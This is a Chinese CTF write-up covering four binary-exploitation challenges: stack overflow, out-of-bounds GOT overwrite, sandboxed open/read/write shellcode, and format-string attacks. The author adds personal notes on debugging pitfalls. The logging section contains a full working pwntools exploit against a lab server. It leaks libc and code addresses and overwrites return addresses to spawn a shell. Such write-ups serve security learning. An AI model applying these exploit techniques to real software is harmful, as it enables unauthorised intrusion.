PWN
Checkin
Ida打开发现需要输入三个变量满足一个简单的等式,没什么限制随意构造即可
进入vul函数,发现存在栈溢出,偏移为10h,
还找到了后门函数,
坑(关键点): 注意输入数字要用str()包裹,以前做题不常遇到(还是题做少了),这次比赛被这个点坑了一个小时,哭了
EXP:
Arry
题目有很多提示:数组越界、got表、可以向下越界也能向上越界(我太菜了,这么多提示还做了半天)
打开ida,发现程序可以通过数组越界查看任意地址里的值并更改它,并且程序已经存在system(“/bin/sh”)
因为程序开了aslr保护(最后三位不变),所以我们要先泄露程序代码段的基址,然后再将printf的got表覆盖成后门函数的地址,
在gdb中调试发现bss段中arry离got段很近,直接地址相减得到负数的偏移,然后获得stack_chk_fail函数的地址,然后用0xFFFFFFFFF000与得到的地址相与得到代码段基址,然后用基址加上偏移计算得到后门函数地址,再利用一次数组越界将printf的got表覆盖成后门函数地址
坑(关键点)1: 这题因为有alsr不能直接bp+绝对地址下断点,导致我在脚本里不会调试盯着报错看了2个小时,后面发现是以前的知识点被我忘了——利用bp $rebase(偏移地址)下断点,只要程序没有反调试都能在本地调试!!!
坑(关键点)2: 第一次利用数组越界来获得代码段基址,我是选择泄露system函数的got表值,不知道为什么change时我填入的是获取到的它的原始值,但是调试的时候发现程序中的system got表值被更改了,这个坑加上前面我不会调试的坑让我一直不知道为什么打不出来,干瞪着电脑屏幕发呆。
Exp:
Shellcode
ida打开发现这道题是让我们输入一段shellcode,然后程序会运行它,但是这里存在**sandbox()函数,他会进行过滤,这道题的提示里面说execve()**被ban了,让我们尝试直接读取flag.txt
一开始我没啥思路,后来了解到这是一类题型——ORW类题
ORW 类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve 等),使得我们并不能正常 get shell ,只能通过 ROP 的方式先调用 open 打开 flag 文件,然后利用 read 把 flag 的值读取到内存里面, 最后通过 write 来读取并打印 flag 内容。
所以我们需要一个依次调用**open()、read()、write()的shellcode,先用open()打开文件flag.txt 然后通过read()读取文件内容到 栈上 最后利用write()**将其输出到屏幕上。
EXP:
关键点: 利用pwntools自带的功能生成我们想要的shellcode,先选择架构
context(os = "linux", arch = "amd64")
|
然后再生成shellcode,
shellcraft.fuction(arg1,arg2,arg3...)
|
这个命令能帮我们生成一个调用函数fuction(arg1,arg2,arg3…)的汇编代码,
最后再用**asm()**包裹 shellcode的汇编代码,生成字节码,一个shellcode就完成啦!
logging
最近没时间写思路,之后再补,先放个exp,
EXP:
from pwn import * context.log_level = 'debug'
p = remote("172.16.68.4", 10005)
def leak(payload): p.recvuntil("RUSH B~\n") p.send(payload.ljust(32,'a')) leakaddr = int(p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaa")[9:-23],16) return leakaddr
def cover(num, save_ret, step): print("need print num:" + hex(num)) a_num = 16 -(6 + (4 - step) + len(str(num))) p.recvuntil("RUSH B~\n") if step == 1: p.send(('%'+ str(num) + 'c%20$hhn' + "a" * a_num + p64(save_ret)).ljust(32,'a')) elif step == 2: p.send(('%'+ str(num) + 'c%20$hn' + "a" * a_num + p64(save_ret)).ljust(32,'a')) log.success('set ret success!')
main_ret = leak('AAAA%27$p') libc_main_addr = main_ret - 240 print("libc_main:" + hex(libc_main_addr)) ''' _dl_init = leak('AAAA%45$p') print("_dl_init:" + hex(_dl_init_addr)) ''' libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc_base = libc_main_addr - libc.symbols['__libc_start_main'] log.success("libc_base:" + hex(libc_base)) ''' sys_addr = libc_base + libc.symbols["system"] binsh_addr = libc_base + libc.search("/bin/sh").next() log.success('sys_addr:' + hex(sys_addr)) log.success('binsh_addr:' + hex(binsh_addr)) ''' one_gadget = 0xf1247 one_addr = libc_base + one_gadget log.success('one_addr:' + hex(one_addr))
rbp = leak('AAAA%16$p') save_logging_ret = rbp - 0x48 save_main_ret = rbp + 0x8 log.success('save_logging_ret:' + hex(save_logging_ret)) log.success('save_main_ret:' + hex(save_main_ret))
logging_ret = leak('AAAA%17$p') code_base = logging_ret & 0xfffffffff000 leave_addr = 0x9E7 + code_base log.success("logging_ret:" + hex(logging_ret)) log.success("leave_addr" + hex(leave_addr))
num = int(hex(one_addr & 0xff0000)[:-4],16) - 3 cover(num, save_main_ret + 2, 1) num = (one_addr & 0xffff) - 3 cover(num, save_main_ret, 2)
num = (leave_addr & 0xffff) - 3 cover(num, save_logging_ret, 2)
p.interactive()
|
总结
只有打了比赛才知道自己有多菜,每做一道简单题都会被不同的问题所困扰,都会在细节的地方出错,做出来后发现就两三行的代码自己还搞不定的时候真的很懊恼,看出来自己的基础很薄弱,所以在接下来的时间里要更加努力,把基础打扎实来!